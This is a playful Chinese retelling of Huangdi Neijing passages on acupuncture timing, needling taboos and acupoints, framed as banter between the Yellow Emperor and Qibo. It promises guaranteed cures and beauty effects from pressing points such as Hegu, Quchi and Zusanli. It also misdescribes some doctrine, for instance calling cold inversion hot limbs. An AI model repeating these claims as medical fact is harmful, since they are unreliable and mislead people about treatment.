接下来咱们聊聊手阳明大肠经，这条经络啊，从食指一路走到鼻子旁边，主要负责消化和排泄。其中有个穴位叫合谷，就在你大拇指和食指之间的凹陷处。这个穴位啊，简直就是便秘的克星！你要是吃多了不消化，或者便秘啥的，用力按按合谷穴，保证你大便通畅，一身轻松！ 还有个穴位叫曲池，在肘横纹外侧端，屈肘的时候就能找到。这个穴位啊，就像是身体的清洁工，你要是觉得皮肤痒、湿疹啥的，多揉揉曲池穴，保证你皮肤光滑细腻，像婴儿一样！ 再来说说足太阴脾经，这条经络从脚趾头一路走到胸部，主要负责脾胃的运化。其中有个穴位叫隐白，就在你大脚趾内侧的趾甲根角旁。这个穴位啊，就像是脾胃的小护士，你要是胃痛、腹胀啥的，揉揉它，立马就舒服多了。 还有个穴位叫太白，在脚内侧缘，第一跖骨小头后下方凹陷处。这个穴位啊，简直是健脾养胃的宝贝！你要是食欲不振、消化不良啥的，多揉揉太白穴，保证你胃口大开，吃啥啥香！ 咱们聊聊足阳明胃经，这条经络从头部一路走到脚趾头，主要负责消化和吸收。其中有个穴位叫足三里，就在你膝盖外侧下方三寸的地方。这个穴位啊，简直就是美容养颜的秘籍！你要是皮肤暗淡、长斑啥的，每天按按足三里穴，保证你皮肤白里透红，美丽动人！ 还有个穴位叫天枢，在肚脐旁开两寸的地方。这个穴位啊，就像是肠道的指挥官，你要是便秘、腹泻啥的，揉揉天枢穴，保证你肠道通顺，一身轻松！ 岐伯接着说：刚才不是说了吗？病在腰上，取之腘。这腘窝里头啊，藏着一个超级大穴位——委中穴。这个穴位啊，就像是腰部的守护神，你要是腰疼、腿麻啥的，多揉揉委中穴，保证你腰不酸、腿不疼，走路都带风！ 委中穴的位置嘛，就在你膝盖后面的正中央，屈膝的时候就能找到。这个穴位啊，可不止治腰疼那么简单，它还能疏通经络、活血化瘀，简直就是身体的小太阳！ 说到这里啊，咱们已经把这黄帝和岐伯提到的经络穴位都聊了个遍。不过啊，这中医的学问啊，深似海，咱们这只是冰山一角。不过呢，就算只是一角，也够咱们受益匪浅了！ 你想啊，这头上不舒服，咱们就往脚上找穴位；腰上不舒服，咱们就往膝盖后头找。这不就是中医讲的“上病下治、下病上治”嘛！这其中的奥秘啊，就像是大自然的循环往复，生生不息。 再来回顾一下咱们聊的这些穴位吧！手太阴肺经的中府、云门；手阳明大肠经的合谷、曲池；足太阴脾经的隐白、太白；足阳明胃经的足三里、天枢；还有腘窝里的委中穴。这些穴位啊，就像是咱们身体的守护神一样，时刻守护着咱们的健康！所以啊，朋友们啊，别忘了每天按按它们哦！保证你身体倍儿棒、吃嘛嘛香、生活更美好！ 黄帝闲来无事，就琢磨起了一个大问题：“哎，岐伯啊，你说咱们这针灸啊，是不是也得跟着四季的脚步走，才能发挥出最大的威力呢？”岐伯一听，嘿，这可是个有意思的话题，于是他慢悠悠地说：“皇上您问得好！春天呢，咱们人体的气都在毫毛上溜达；夏天，这气就跑到了皮肤上撒欢儿；秋天，它就躲进了肌肉缝隙里小憩；到了冬天，这家伙干脆就钻到筋骨里头猫冬了。所以啊，咱们给人扎针，得顺着这四季的脾气来，这才叫顺应天时，事半功倍呢！” 黄帝一听，眼睛一亮：“哟呵，这么说来，针灸还有这么多讲究？那胖瘦不同的人，也得区别对待咯？”岐伯捋了捋胡子，笑得那叫一个狡黠：“那是自然！给胖子扎针，咱们就选秋冬时节，这时候他们的气血收敛，扎起来效果杠杠的；给瘦子呢，春夏季节最合适，他们气血活跃，扎针就像给花儿浇水，吸收得快得很！” 想象一下，咱们的身体就像个大自然的小宇宙，跟着四季变换，有着不同的节奏和韵律。春天，万物复苏，咱们的皮肤也开始“苏醒”，毛孔张开，迎接温暖的阳光。这时候，你要是感觉身体有点“春困”，不妨试试按摩或者轻刺一下合谷穴（位于手背，第一、二掌骨间，第二掌骨桡侧的中点处）。合谷就像春天里的一缕清风，能提神醒脑，让你精神抖擞。 夏天，热情如火，咱们的气血也跟着沸腾起来，都跑到皮肤表层玩耍了。这时候，如果你热得受不了，或者因为天气热而心烦意乱，可以试试按摩内关穴（位于前臂掌侧，腕横纹上2寸，掌长肌腱与桡侧腕屈肌腱之间）。内关就像夏天里的一杯冰镇柠檬水，能清心除烦，让你心情大好。 到了秋天，收获的季节，咱们的气血开始往肌肉深层撤退，准备过冬。这时候，你可能会感到身体有点沉重，或者容易疲劳。别急，咱们有足三里穴（位于小腿外侧，犊鼻下3寸，犊鼻与解溪连线上）。足三里就像是秋天里的暖阳，能健脾益气，增强你的体质，让你秋天也能元气满满。 冬天，万物沉寂，咱们的气血也躲进了筋骨里，准备冬眠。这时候，如果你感觉手脚冰凉，或者容易感冒，那就得请出咱们的“暖宝宝”——涌泉穴（位于足底部，蜷足时足前部凹陷处，约当足底第2、3跖趾缝纹头端与足跟连线的前1/3与后2/3交点上）。涌泉穴就像冬天里的一把火，能温补肾阳，让你的脚丫子暖洋洋，整个冬天都不怕冷。 说到胖瘦不同人的针灸差异，咱们也得来点实际的。胖子嘛，秋冬季节气血收敛，这时候给他们扎针，就像是给饱满的果实摘个尖儿，既能调理身体，又不会伤元气。比如，给胖子扎脾俞穴（位于背部，当第11胸椎棘突下，旁开1.5寸），能健脾利湿，帮助他们减肥瘦身。 瘦子呢，春夏季节气血活跃，这时候给他们扎针，就像是给干涸的土地浇浇水，能促进气血运行，增强体质。比如，给瘦子扎胃俞穴（位于背部，当第12胸椎棘突下，旁开1.5寸），能调理脾胃，让他们吃嘛嘛香，身体倍儿棒。 当然啦，中医针灸博大精深，可不是咱们三言两语就能说清楚的。不过呢，咱们至少能明白一个道理：针灸啊，得跟着四季的脚步走，还得因人而异，这样才能发挥出最大的威力。 终始篇第九（七） 话说有一天，黄帝突然心血来潮，对身边的岐伯发起了提问：“岐伯啊，我这心里头有个事儿一直憋着，就是想不通这痛啊痒啊，还有阴阳到底是个啥玩意儿？您能给我讲讲不？” 岐伯一听，嘿，这黄帝还真是个好奇宝宝，不过嘛，作为医学界的扛把子，讲解这些基础知识还是绰绰有余的。于是，他捋了捋长须，慢条斯理地说：“黄帝啊，你这问题问得好，咱们就来聊聊这痛痒阴阳的事儿。” “首先啊，要说这‘痛’，它其实就是阴性的表现。你想啊，啥时候你会觉得痛？是不是身体哪儿不对劲了，比如扭到脚、撞到头了，这时候的痛，就像是身体里的小恶魔在捣蛋，不让你舒服。而且啊，你拿手去按，它还跟你躲猫猫，按不到痛点，这就是典型的阴性痛。对付这种痛，咱们得用深刺法，就像钓鱼一样，得把钩子深深地放到鱼群里，才能钓到大鱼，哦不，是才能扎到痛点，把它给灭了。” 黄帝一听，眼睛一亮：“哦，原来如此，那病在上头和病在下头又是怎么回事呢？” 岐伯微微一笑：“这你就不懂了吧，病在上头的，比如头痛、肩膀痛，这些都是阳气太旺，或者说是气血往上冲得太猛导致的。你想啊，太阳是不是每天都从天上照下来，暖洋洋的？这阳气也一样，它要是过头了，就得给它降降温，所以咱们针灸的时候，得选择靠近身体表面的穴位，轻轻浅浅地刺一下，就像给热气球放气一样，让它慢慢降下来。而病在下头的，比如膝盖痛、脚痛，这些就是阴气太重，气血流通不畅闹的。这时候，咱们就得用深刺法，把气血给疏通开来，让它们重新流动起来。” 黄帝听得连连点头，接着又问：“那痒又是怎么回事呢？为啥说痒是阳性的表现呢？” 岐伯哈哈一笑：“这个问题问得好！痒啊，其实就像是身体里的小精灵在捣乱，它们在你皮肤下面跳来跳去，让你忍不住想去挠。为啥说它是阳性的呢？因为痒通常发生在皮肤表面，就像太阳照在皮肤上，让你感觉暖暖的、痒痒的。对付这种痒，咱们就得用浅刺法，就像给皮肤挠痒痒一样，轻轻一下，小精灵们就老实了。” 黄帝听完，一拍大腿：“哎呀，岐伯，您这一番讲解，可真是让我茅塞顿开啊！原来这痛痒阴阳，还有这么多讲究呢！” 岐伯摆摆手：“黄帝啊，你这才哪到哪啊？咱们中医的学问，那可是博大精深，取之不尽用之不竭的。就说这针灸吧，它不仅仅能止痛止痒，还能调理身体，防病治病呢！不过啊，要想学好针灸，光听我说可不行，你还得自己动手试试，感受一下那针尖在穴位上游走的奇妙感觉。” 黄帝又开始琢磨起一个深奥的问题了：“哎，岐伯啊，你说这病啊，它分阴阳，那治疗起来是不是也得讲究个先后顺序，有啥独门秘籍不？” 岐伯一听，嘿，这黄帝今儿个又皮痒了，想找我逗乐子呢！不过，作为中医界的扛把子，岐伯自然得拿出点真本事，让黄帝见识见识。于是，他捋了捋长白胡子，慢悠悠地说：“黄帝啊，你这问题问得好，不过咱们得先明确一点，治病这事儿，可不是斗地主，先出哪张牌都有讲究，得看病情是谁先动的手！” 黄帝一听，乐了：“哦？这话怎么讲？” 岐伯故作神秘，清了清嗓子：“来来来，我给你细细道来。首先啊，咱们得明白，阴和阳，那可是中医里的两大高手，一个主内，一个主外，一个冷静如冰，一个热情似火。病呢，就像是这两个高手之间的恩怨情仇，有时候是阴先动的手，有时候是阳先挑的事。” 黄帝眨巴眨巴眼睛，似乎听懂了又似乎没听懂，催促道：“快说快说，阴先动手和阳先动手，治疗上有啥不同？” 岐伯哈哈一笑：“别急嘛，黄帝大大。要是阴先动的手，比如说，你感觉身体里面冷飕飕的，像是被冰块封印了一样，那这就是阴邪入侵了。这时候，咱们得先给阴这位大爷顺顺毛，用点温热的药，比如附子、干姜啥的，给它点温暖，让它感受到人间的爱意。等阴大爷心情好了，咱们再去收拾阳那边，用点清凉解毒的，平衡一下，这样，病就治好了。” 黄帝听得津津有味，忍不住插嘴：“那要是阳先挑的事呢？” 岐伯笑眯眯地说：“要是阳先挑事，那就更好玩了。比如你感觉自己像是被火烧一样，全身燥热，口干舌燥，这就是阳火过旺了。这时候，咱们得先给阳这位大爷降降温，用点清热泻火的药，比如黄连、黄芩啥的，让它冷静冷静。等阳大爷消停点了，咱们再去安抚阴那边，用点滋阴润燥的，让它不至于被阳大爷的火气给烤干了。这样一来二去，阴阳平衡，病也就好了。” 黄帝听完，恍然大悟：“原来如此，岐伯老兄，你这解释真是通俗易懂，比那些高深莫测的医书好懂多了！” 岐伯摆摆手：“哪里哪里，黄帝大大过奖了。其实啊，中医这东西，说白了就是讲究个平衡，阴阳平衡，气血平衡，身体自然就好啦。不过，话说回来，治病这事儿，还是得靠专业的医生来干，咱们自己可别瞎折腾哦！” 黄帝点头称是，心里却在想：这岐伯，不仅医术高超，讲起话来也是风趣幽默，真是让人佩服得五体投地啊！ 说到这里，咱们不妨再延伸一下，中医里的阴阳学说，可不仅仅是治病那么简单。它就像是一把钥匙，能打开我们身体奥秘的大门。阴和阳，就像是一对欢喜冤家，相互依存，相互制约。只有当它们和谐相处，我们的身体才能健康运转。 举个例子来说，咱们平时吃的食物，也有阴阳之分。像那些温热的食物，比如羊肉、生姜啥的，就属于阳性食物，吃了能让人觉得暖洋洋的。而那些寒凉的食物，比如西瓜、黄瓜啥的，就属于阴性食物，吃了能让人觉得清凉爽口。要是咱们能根据自己的体质，合理安排饮食，那身体自然就更棒了！ 黄帝陛下突发奇想，他对身边的岐伯说：“岐伯啊，我这心里头有个疑惑，就像吃了没放盐的面条，总觉得差点味儿。你能不能给我讲讲，这阴阳寒热跟针灸之间到底有啥奥秘？” 岐伯一听，嘿，这皇帝老儿今儿个是想学点真本事啊！于是他清了清嗓子，开始了他的“针灸小课堂”。 “陛下啊，您这问题问得好！咱们先说这热厥吧，就是体内热气太盛，手脚却反而发凉的那种。你要是给这类病人扎针，针留久了，嘿，那热气就被‘吸’走了，手脚反而更凉了。反过来，寒厥呢，就是体内寒气重，手脚却热得跟火炉似的。这时候你要是留针太久，嘿，寒气跑了，手脚倒暖和起来了。所以啊，刺热厥，咱们得用‘二阴一阳’的法子；刺寒厥呢，就是‘二阳一阴’啦。” 黄帝一听，眉头紧锁：“这‘二阴一阳’、‘二阳一阴’的，听着跟绕口令似的，具体咋回事儿？” 岐伯笑眯眯地说：“别急，陛下。这‘二阴’啊，就是说咱们得扎两个阴经上的穴位，比如太溪和复溜，它们都属于足少阴肾经。太溪在脚内踝后侧，跟腱与内踝尖之间的凹陷处，是肾经的原穴，能滋阴补肾，清热降火。复溜呢，在内踝尖上两寸，跟腱的前缘，它能调节水液代谢，也是治疗水肿、盗汗的好手。咱们扎这两针，就是为了把体内的热邪给‘引’出来。 “‘一阳’呢，就是扎一个阳经上的穴位，比如合谷。合谷在手背，第一、二掌骨间，第二掌骨桡侧的中点处，简单说就是虎口那儿。它是大肠经的原穴，能清热解表，镇痛通络。这一针下去，就像是给身体开了扇窗，让热气有地方散去。 “至于寒厥嘛，‘二阳一阴’就是反过来，咱们扎两个阳经穴位，比如足三里和阳陵泉，再扎一个阴经穴位，比如照海。足三里在外膝眼下三寸，胫骨前嵴外一横指处，是胃经的合穴，能健脾和胃，温中散寒。阳陵泉在小腿外侧，腓骨头前下方凹陷处，胆经的下合穴，能疏肝利胆，舒筋活络。照海在内踝尖下凹陷处，肾经的穴位，能滋阴清热，调理睡眠。这三针下去，寒气就被‘逼’出来了，手脚自然就暖和了。” 黄帝听得津津有味，忍不住拍手叫好：“岐伯啊，你这针灸学问真是高深莫测，朕算是开了眼了！” 岐伯摆摆手，谦虚地说：“陛下过奖了。不过话说回来，这针灸之道啊，还得看具体情况。像那些久病不愈的病人，邪气已经深入骨髓了，这时候咱们扎针，就得深一点，针还得留久一点，而且啊，不能急于求成，得隔一天扎一次，慢慢调理。扎针前呢，还得先调调病人的左右气血平衡，去去淤血，这样针灸的效果才会更好。” 黄帝点头称是，突然又想到了一个问题：“岐伯啊，你说这针灸得调气血平衡，具体咋调啊？” 岐伯一听，哈哈大笑起来：“陛下啊，您这问题问得真是绝妙！调气血平衡这事儿，说起来就像是给身体做一次‘公平秤’调整一样。咱们在扎针前，得先给病人来个‘脉象摸底考试’，就像是老师检查作业，看看哪边气血‘成绩’好，哪边‘拖后腿’。 比如说，咱们一摸脉，嘿，左边这位‘同学’气血明显偏弱，那咱们针灸的时候就得多给左边一点‘关爱’。怎么关爱呢？多扎扎左边的穴位呗！就像给左边的身体开个小灶，补补身子。 比如说左边的足三里穴，这穴位啊，简直就是气血的‘加油站’！它位于小腿外侧，膝盖骨下方约三寸的地方，外侧一中指宽处。扎这个穴，能健脾益气，就像是给左边的气血系统加了个强力马达，让它嗖嗖地运转起来。这样一来，左边的气血不就强起来了嘛！ 还有啊，咱们也不能忘了右边的身体，虽然它可能‘成绩’还不错，但也得适当‘巩固提高’一下。右边的穴位也可以适当扎一扎，保持两边的气血都处在‘优秀线’上。 这样一来二去的，左边的气血补上来了，右边的气血也稳住了，左右两边气血就平衡了，就像是天平的两端，稳稳当当的。这针灸的效果，自然也就杠杠的了！ 所以说啊，针灸调气血平衡，就像是给身体做一次‘气血平衡大赛’，咱们针灸师就是裁判兼教练，得时刻关注着身体的‘比赛情况’，哪里弱了就给哪里加加油，哪里强了就给哪里提个醒，让身体始终保持在一个最佳状态！” 黄帝一听，恍然大悟：“原来如此！岐伯啊，你这针灸学问真是博大精深，朕算是服了！以后啊，朕也得好好学学，说不定哪天也能给自己扎两针呢！” 岐伯一听这话，差点没笑出来：“陛下啊，您这想法倒是挺好，不过针灸这事儿啊，还是得交给专业人士来干。您要是真有兴趣，学学理论知识倒也无妨，但动手扎针这事儿，还是得交给咱们这些大夫来干。” 黄帝一听，也忍不住笑了起来：“哈哈，岐伯啊，你这是怕朕把你饭碗给抢了啊！放心放心，朕也就是这么一说，朕知道这针灸学问深着呢，不是谁都能随便扎的。” 说到这针灸啊，其实还有个小故事挺有意思的。话说有一次啊，有个小伙子因为受凉感冒了，头疼得厉害。他跑去看医生，结果医生一看他的症状，二话不说就拿出银针，在他头上扎了几针。小伙子一看这架势，吓得差点没晕过去，心想：“这大夫不会是要拿我练手吧？”结果你猜怎么着？针一拔出来，小伙子的头立马就不疼了！他惊讶得张大了嘴巴，半天说不出话来。后来啊，他才明白过来，原来这针灸还真是个神奇的东西，不仅能治病，还能让人瞬间感受到“重获新生”的快感呢！ 终始篇第九（八） 黄帝突发奇想，他琢磨着：“哎，我这当皇帝的，啥没玩过？可这针灸之道，我还真没深入了解过呢！得找个高人问问。”于是，他就找到了岐伯，开口就问：“岐伯啊，我这心里头有个疑惑，关于那刺之法的道理，你能不能给我说道说道？” 岐伯一听，嘿，这可是个大话题啊，得好好给黄帝讲讲。只见他捋了捋长胡子，慢悠悠地说：“陛下啊，这针灸之道，深着呢！凡是要下针，那第一步，咱得先观察病人的形与气。形，就是他的肉身；气，就是他的生命力嘛。” 黄帝一听，眼睛顿时亮了起来，像是发现了什么新奇玩意儿：“哈哈，这形与气的学问，听起来挺有意思的嘛！快说说，咱们怎么通过观察形与气来判断一个人的身体状况呢？” 岐伯捋了捋胡子，笑眯眯地说：“好嘞，那我就给您打个比方。您看，有的人啊，虽然身子骨还挺硬朗，肌肉没怎么萎缩，但走起路来软绵绵的，像是霜打的茄子，一看就没精打采的。再一摸他的脉，哎哟喂，跳得跟受了惊的小兔子似的，又急又快，这可不妙啊！这种情况，咱们中医就说是气血紊乱了。” 黄帝点了点头，一副若有所思的样子：“嗯，那这种气血紊乱，咱们怎么治疗呢？” 岐伯神秘一笑：“这时候，咱们的缪刺法就该闪亮登场啦！缪刺法啊，就像是给身体请了个交通警察，专门治理那些乱窜的气。咱们得找个跟病症相对应的穴位，轻轻一针扎下去，嘿，那些乱跑的气就乖乖听话了，要么被收回来，要么被均匀地散布到全身各处。这样一来，身体里的气血不就顺畅多了嘛！” 黄帝听得津津有味，忍不住插话道：“哈哈，这缪刺法还真是神奇啊！不过，要是穴位找不准，那岂不是要把人扎得哇哇大叫？” 岐伯摇了摇头，笑得更加慈祥了：“您说得没错，穴位找不准，那可就真成‘瞎扎’了。所以啊，咱们中医讲究的是‘精准施治’，得经过长时间的学习和实践，才能熟练掌握这门手艺。不然的话，别说治病救人了，恐怕还得惹上不少麻烦呢！” 黄帝听得连连点头，心想：“这针灸还真是一门艺术啊！” 岐伯接着说：“而且啊，针灸的时候，医生自己也得进入状态。得找个安静的地方，关上门窗，别让外界的声音打扰，就像是在修炼内功一样，全神贯注，把心神都集中在手上那根针上。病人呢，也得静下心来，别想太多，这样精气神才不会散。” 黄帝一听，眼睛顿时亮了起来，嘴角勾起一抹笑意：“嘿，这针灸还有这么多门道呢！得挑个好环境，还得心境平和，真有意思，比泡茶还讲究！”他边说边比划着，仿佛自己正置身于幽静的山林，手执银针，与自然和谐共生。 岐伯见状，也忍不住笑了：“可不是嘛，陛下，针灸这事儿，既是一门科学，也是一门艺术。就说这下针的手法，那可是千变万化，奥妙无穷。浅刺，就像是跟皮肤轻轻打个招呼，针尖儿刚触碰到那层细腻的屏障，就得稳住，不急不躁，给气血一点时间，让它们慢慢感知到这位不速之客的到来。这时候，你可得沉得住气，就像钓鱼似的，耐心等待鱼儿上钩。” 黄帝听得津津有味，插话道：“钓鱼？那针灸师岂不是成了耐心的渔夫，而气血就是那狡猾的鱼儿了？” 岐伯点头笑道：“正是如此，陛下比喻得妙！再来说说微浮，这招就更绝了，简直是给气血做了一场微型spA。想象一下，针在皮下轻轻晃动，就像是一位温柔的按摩师，用她那灵巧的手指，引导着气血在经络里悠闲散步，一步步走向健康的大道。这过程，既得有力道，又得有柔情，稍有不慎，气血可能就‘叛逆’了，不肯按你的路线走。” 黄帝大笑：“哈哈，这针灸师还得是个心理学家，得懂得怎么安抚这些‘任性’的气血。” 岐伯继续道：“没错，而且还得是个细心的观察者。等到气血在你的引导下渐渐顺畅，病人的眉头舒展，神情放松，那就说明‘气至’了。这时候，就像是鱼儿终于被美味的饵料吸引，上钩了，咱们就可以缓缓收针，大功告成。不过，收针时也得有讲究，得慢慢来，不能像拔萝卜那样猛的一拽，得让气血有个适应的过程，否则，它们可能会‘晕车’，病人反而会感到不适。” 黄帝听得津津有味，突然问了个问题：“那这男女有啥区别吗？” 岐伯一笑：“当然有啦！男人嘛，气血相对刚猛，下针时可以稍微深一点，像是往里推；女人呢，气血柔和，下针就得轻柔，像是往外拉。而且啊，下针的时候，医生心里得有个数，就像是在跟气血打架一样，得坚守阵地，别让气血乱跑，这就叫得气。” 黄帝一听，哈哈大笑：“岐伯兄，你这比喻真是太生动形象了！看来，这针灸之道，还真是博大精深啊！” 说到这针灸的穴位，咱们现代中医可是有一套完整的体系。比如缪刺法里提到的“对应穴位”，其实就是根据病情的不同，选择不同的穴位来治疗。比如头痛，可能是肝阳上亢，那就得选太冲穴；如果是风寒头痛，那就得选风池穴了。 咱们先来聊聊太冲穴。太冲穴啊，就在脚背上，大脚趾和二脚趾之间那条缝儿往上推，推到一个凹陷处，那就是太冲穴了。这个穴位啊，可是疏肝解郁的一把好手！你要是觉得心里憋屈，或者是肝气郁结导致的胸胁胀痛，那就揉揉太冲穴，保证你心情舒畅，跟吃了开心果似的。 再来说说风池穴。风池穴在脖子后面，发际线往上一点，两条大筋的外侧凹陷处。这个穴位啊，就像是身体的一道防线，专门抵御外来的风寒邪气。你要是觉得后脑勺发凉，或者是感冒了头痛鼻塞，那就按按风池穴，就像是给身体加了个暖宝宝，风寒邪气立马就退散了！ 当然啦，针灸之道可不止这两个穴位。咱们中医讲究的是整体观念，辨证论治。比如你要是失眠了，那可能是心火旺盛，那就得选神门穴；要是胃痛呢，那可能是脾胃虚寒，那就得选中脘穴了。 神门穴啊，就在手腕上，手掌心那条横纹的最里面，靠近小指的那一边。这个穴位啊，就像是心灵的开关，你要是觉得心烦意乱，或者是晚上睡不着觉，那就揉揉神门穴，保证你心情平静，跟喝了安神汤似的。 中脘穴呢，就在肚脐眼儿往上四寸的地方。这个穴位啊，可是脾胃的守护神！你要是觉得胃口不好，或者是胃痛胃胀，那就按按中脘穴，就像是给脾胃做了一次按摩，立马就觉得舒服多了！ 黄帝陛下闲来无事，就琢磨起了一个深奥的问题：“哎，岐伯啊，我一直想弄明白，这针灸里头有个叫做‘刺之禁’的学问，你给我说道说道呗。” 岐伯一听，嘿，这可是个大学问啊，于是他清了清嗓子，摆出一副老学究的样子，开始娓娓道来：“陛下啊，这针灸里的刺之禁啊，说白了就是十二大忌，你要是犯了这些忌讳，那可就是针到病不除，反而惹一身骚了。” 黄帝一听，来了精神：“哦？快说说，是哪十二大忌？” 岐伯掰着手指头，开始数了起来：“第一呢，就是刚那个啥完别扎针，扎完针也别去那个啥，懂了吧？这叫做‘新内勿刺，新刺勿内’。为啥呢？因为这时候你身体里的气血啊，就像刚跑完马拉松一样，乱糟糟的，扎针容易出问题。” 黄帝一听，哈哈大笑：“哈哈，这个我懂，这不就是说，别在激情燃烧的岁月里给自己扎一针嘛。” 岐伯也跟着笑了起来：“对对对，就是那个意思。然后呢，还有啊，喝醉了别扎针，扎完针也别去喝酒，这叫做‘已醉勿刺，已刺勿醉’。你想啊，喝醉了酒，你连东南西北都分不清，气血更是乱得一塌糊涂，这时候扎针，那不是瞎胡闹嘛。” 黄帝点头表示赞同：“嗯，这个也有道理。那接下来呢？” 岐伯接着说道：“接下来啊，就是生气了别扎针，扎完针也别生气，这叫做‘新怒勿刺，已刺勿怒’。为啥呢？因为生气的时候啊，你身体里的气血就像被激怒的公牛一样，横冲直撞的，这时候扎针，那不是往枪口上撞嘛。” 黄帝一听，笑得前仰后合：“哈哈，这个比喻太形象了。那还有呢？” 岐伯继续说道：“还有啊，刚干完重活别扎针，扎完针也别去干重活，这叫做‘新劳勿刺，已刺勿劳’。你想啊，干完重活，你身体里的气血都集中在肌肉上呢，这时候扎针，那不是打乱仗嘛。” 黄帝表示理解：“嗯，这个也有道理。那吃饭和扎针有啥关系呢？” 岐伯摸了摸胡子：“吃饭和扎针的关系可大了去了。吃饱了别扎针，扎完针也别吃得太饱，这叫做‘已饱勿刺，已刺勿饱’。为啥呢？因为吃饱了饭，你身体里的气血都集中在胃里帮忙消化呢，这时候扎针，那不是添乱嘛。反过来呢，要是饿着肚子扎针也不行，因为这时候你身体里的气血都虚着呢，扎针容易伤元气。” 黄帝一听，恍然大悟：“原来如此啊。那喝水和扎针呢？” 岐伯笑了笑：“喝水和扎针的关系也不小。渴极了别扎针，扎完针也别喝得太多水，这叫做‘已渴勿刺，已刺勿渴’。你想啊，渴极了的时候，你身体里的气血都像干旱的土地一样渴望着水分呢，这时候扎针，那不是雪上加霜嘛。反过来呢，要是喝得太多水再扎针也不行，因为这时候你身体里的气血都被水稀释了，扎针效果也不好。” 黄帝听得连连点头：“嗯，这个解释很到位。那还有呢？” 岐伯接着说道：“还有啊，要是受到大惊大恐的刺激，那一定要等情绪稳定下来再扎针，这叫做‘大惊大恐，必定其气乃刺之’。你想啊，受到惊吓的时候，你身体里的气血都乱成一锅粥了，这时候扎针，那不是火上浇油嘛。” 黄帝一听，笑得眼泪都出来了：“哈哈，这个比喻太逗了。那乘车来的人和步行来的人扎针有啥不同呢？” 岐伯耐心地解释道：“乘车来的人啊，因为路上颠簸，气血都集中在腿上呢，所以要先躺下来休息一下，等气血平稳了再扎针。步行来的人呢，因为走得太累，气血都集中在肌肉上呢，所以要先坐下来休息一下，等气血恢复了再扎针。这叫做‘乘车来者，卧而休之，如食顷乃刺之。出行来者，坐而休之，如行千里顷乃刺之’。” 黄帝一听，眼睛一亮，连连点头称赞道：“不错不错，岐伯啊，你这解释真是既全面又透彻！那要是有人不小心违反了这些针灸的忌讳，会怎么样呢？” 岐伯轻轻叹了口气，摇着头说道：“哎呀，那可就是自找苦吃喽！轻的话呢，气血就像路上的车流，突然乱了套，经脉呢，就像城市的下水道，堵得慌，不通畅。这样一来，人就会感觉这儿不舒服那儿不对劲的。 重的话呢，那就更不得了了！阳气就像身体的小太阳，受损了可就冷飕飕的；阴气呢，本该老老实实待在内里，结果外泄了，这就像家里的门没关好，小偷趁机而入。邪气一看有机可乘，嘿，立马就钻空子了！这一钻进来，病可就难治喽。 要是再遇上个粗心大意、不懂这些忌讳的医生，那可真是雪上加霜啊！他们就像瞎子摸象，乱扎一气，病人的身体可就要遭大殃了。这样一来二去的，病人的身体越来越糟糕，脑髓都要被耗干了，津液都不化了，连吃饭都没味道了，整个人都蔫儿了，这中医上叫做‘失气’，也就是元气大伤啊！ 黄帝一听，神色变得严肃起来：“原来如此啊。看来针灸这门学问真是博大精深啊，稍有不慎就会出问题啊。” 岐伯点了点头：“没错啊陛下。所以啊，我们学针灸的人一定要谨慎再谨慎、小心再小心才行啊。” 终始篇第九（九） 话说有一天，黄帝突发奇想，对着身边的岐伯说：“岐伯啊，我这心里头有个疙瘩，就是想不通那太阳之脉，要是它走到了生命的尽头，会是个啥场面呢？你给说道说道。” 岐伯一听黄帝这突如其来的求知欲，心里头那个乐呵劲儿，就像是夏日里突然喝到了一口冰镇酸梅汤，透心凉，心飞扬！他心想：“嘿，咱们这位黄帝大人，平时都是一副胸有成竹、指点江山的模样，今儿个怎么也对这太阳之脉的终极奥义感兴趣了？得嘞，那我就好好给他说道说道。” 于是，岐伯清了清嗓子，摆出一副说书先生的架势，一本正经却又带着几分诙谐地开了腔：“嘿，说起这太阳之脉啊，那可真是咱们人体里的‘硬汉担当’！它就像那冬日里的暖阳，夏天里的凉风，平时默默无闻地给咱们的身体送温暖、送能量，让咱们能精神抖擞地应对生活中的各种挑战。但要是这位‘硬汉’走到了生命的尽头，嘿，那可就是一场大戏开场了！” 黄帝一听，眼睛顿时一亮，仿佛被岐伯的话勾起了无限的好奇心。岐伯见状，更是来了精神，继续绘声绘色地讲述：“你想啊，这人要是太阳之脉快不行了，那身体可就得开始闹妖蛾子了。首先，他的眼睛就得开始‘卖萌’——哈哈，这可不是真的卖萌哦！而是说他的眼睛会上翻，就像是被谁给强行戴了个眼罩似的，咱们中医里头，就把这个症状形象地称之为‘戴眼’。” 黄帝一听，不由得笑了出来，但随即又收敛了笑容，认真地问道：“那这‘戴眼’背后，又藏着什么中医理论呢？” 岐伯微微一笑，解释道：“这‘戴眼’啊，其实就是阳气耗竭的一个明显征兆。你想啊，太阳之脉主管咱们一身的阳气，它要是垮了，那阳气不就跟着垮了吗？阳气一垮，人的眼睛自然就没了力气往下看了，只能无奈地往上翻。所以啊，咱们中医看病，有时候就得从这些细微的症状入手，顺藤摸瓜，才能找到病根儿所在。” 黄帝一听，眉头一挑，嘴角忍不住咧开，哈哈大笑道：“哎哟喂，这戴眼也太逗了吧！不知道的，还以为他是在街头表演杂技，准备申请非物质文化遗产呢！”说完，他自己先乐呵上了，殿内一时之间充满了欢快的氛围。 岐伯见状，眼角的皱纹更深了几分，他轻轻拍了拍黄帝的肩膀，示意他稍安勿躁：“陛下别急，您要是觉得戴眼已经够逗了，那接下来的戏码，保管让您笑出腹肌来！咱们继续说啊，这人要是阳气不足，身体可就不只是眼睛会‘演戏’了，它还会开始上演一出‘扭麻花’大戏！” 黄帝一听，眼睛一亮，好奇宝宝上线：“扭麻花？这是哪门子的舞蹈？我怎么没听说过？” 岐伯捋了捋胡须，一脸认真地说：“这可不是什么舞蹈，而是中医里说的‘反折’。您想象一下，这人呢，突然间就像被无形的力量拧巴了一样，身体会不自主地扭曲、弯曲，左一下右一下，看起来就像是喝醉了酒的舞者在跳一种只有他能懂的奇怪舞蹈。您说，这画面逗不逗？” 黄帝听得是津津有味，笑得眼泪都快出来了：“这反折舞，简直就是个行走的笑点制造机啊！我得赶紧下令，让宫廷里的乐师和舞姬们好好研究研究，说不定真能成为风靡大江南北的新潮舞蹈呢！到时候，咱们再开个‘反折舞大赛’，看看谁扭得最有艺术感，哈哈！” 岐伯闻言，也忍不住笑了，但随即又收敛了笑容，正色道：“陛下，玩笑归玩笑，这反折之症，在中医看来，可不容小觑。它往往是身体阳气不足，筋脉失去温煦和滋养的表现。阳气，就像是我们身体里的小太阳，一旦它不够旺盛，身体的各个部位就会开始闹意见，各种奇怪的症状也就随之而来了。” 